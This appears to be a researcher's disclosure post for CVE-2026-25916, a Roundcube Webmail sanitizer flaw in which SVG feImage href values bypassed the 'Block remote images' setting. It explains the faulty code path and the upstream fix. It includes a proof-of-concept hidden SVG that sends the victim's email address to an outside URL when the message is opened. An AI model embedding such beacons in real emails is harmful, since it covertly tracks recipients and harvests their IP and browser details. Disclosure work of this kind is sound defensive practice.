Roundcube SVG feImage Remote Image Bypass

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Content

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TL;DR: Roundcube's `rcube_washtml` sanitizer blocked external resources on `<img>`, `<image>`, and `<use>`, but not on `<feImage>`. Its `href` went through the wrong code path and got allowed through. Attackers could track email opens even when "Block remote images" was on. Fixed in 1.5.13 and 1.6.13.

Vulnerability information

| Field | Value | | | **Vendor** | Roundcube | | | **Product** | Roundcube Webmail | | | **Affected versions** | < 1.5.13, 1.6.x < 1.6.13 | | | **CVE** | CVE-2026-25916 | | | **CVSS 3.1** | 4.3 / Medium | | | **CVSS 4.0** | 5.3 / Medium | | | **Disclosure date** | 2026-02-08 | |

Background

When `allow_remote` is false, Roundcube's sanitizer intercepts image-bearing attributes (`src` on `<img>`, `href` on `<image>` and `<use>`) and runs them through `is_image_attribute()`. That function blocks external URLs.

Separately, non-image URLs (like `<a href>`) go through `wash_link()`, which lets HTTP/HTTPS URLs through. That's fine for links the user clicks on intentionally.

Discovery

I got bored during my christmas vacation and this SVG-based XSS fix via the `animate` tag appeared on my radar. One SVG bug usually means more.1 So I spent some time going through

`rcube_washtml.php`, looking at which SVG elements made it onto the allowlist and how their attributes get handled and sanitized.

`<feImage>` stood out.2 Its `href` gets fetched on render, same as `<img src>`. But the sanitizer sends it through `wash_link()` instead of `is_image_attribute()`.

So the “Block remote images” setting doesn’t apply to it.

Technical details

In `wash_attribs()`, every attribute hits a chain of checks. The first one that matches wins:

rcube_washtml.php

```
if ($this->is_image_attribute($node->nodeName, $key)) {
    $out = $this->wash_uri($value, true);  // blocks remote URLs
} elseif ($this->is_link_attribute($node->nodeName, $key)) {
    $out = $this->wash_link($value);       // allows http/https
}
```

Before the fix, `is_image_attribute()` looked like this:

rcube_washtml.php

```
private function is_image_attribute($tag, $attr)
{
    return $attr == 'background'
        || $attr == 'color-profile'
        || ($attr == 'poster' && $tag == 'video')
        || ($attr == 'src' && preg_match('/^(img|image|source|input|video|audio)$/i', $tag))
        || ($tag == 'use' && $attr == 'href')
        || ($tag == 'image' && $attr == 'href');
}
```

The `href` attribute is only matched for `use` and `image`. No `feimage`.

And `is_link_attribute()` is a catch-all3:

rcube_washtml.php

```
private function is_link_attribute($tag, $attr)
{
    return $attr === 'href';
}
```

So when the sanitizer encounters `<feImage href="https://...">`: `is_image_attribute('feimage', 'href')` returns false, `is_link_attribute('feimage', 'href')` returns true, and the URL goes through `wash_link()` which

passes HTTP/HTTPS URLs straight through.

Proof of concept

An invisible 1x1 SVG, positioned off-screen:

```
<svg width="1" height="1" style="position:absolute;left:-9999px;">
 <defs>
  <filter id="t">
   <feImage href="https://httpbin.org/image/svg?email=victim@test.com"
        width="1" height="1"/>
  </filter>
 </defs>
 <rect filter="url(#t)" width="1" height="1"/>
</svg>
```

The browser evaluates the SVG filter and fires a GET to the attacker's URL.

Impact

The "Block remote images" setting doesn't block this remote image. An attacker can confirm you opened it, log your IP, and fingerprint your browser.

Remediation

The fix (`26d7677`) collapses the two separate `use` / `image` checks into a single regex that includes `feimage` :

rcube_washtml.php

```
|| ($attr == 'href' && preg_match('/^(feimage|image|use)$/i', $tag)); // SVG
```

Now `<feImage href>` hits `is_image_attribute()` first, gets routed through `wash_uri()` , and the remote URL is blocked.

Update to 1.5.13 or 1.6.13.

Timeline

| Date | Event | | | 2026-01-04 | Reported to Roundcube | | | 2026-02-08 | 1.5.13 and 1.6.13 released | | | 2026-02-08 | This post | | | 2026-02-09 | CVE-2026-25916 assigned | |

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The SVG spec is enormous and most sanitizers only handle the common elements. Whenever one SVG tag slips through, there are usually others on the same allowlist that nobody checked.

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It's an SVG filter primitive that loads an external image and uses it as input to a filter chain (spec). Rarely used in practice, which is probably why it was overlooked. Allowlists that grow by hand tend to have gaps like this.

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This matches `href` on every element, including `<feImage>`. That's the root cause.
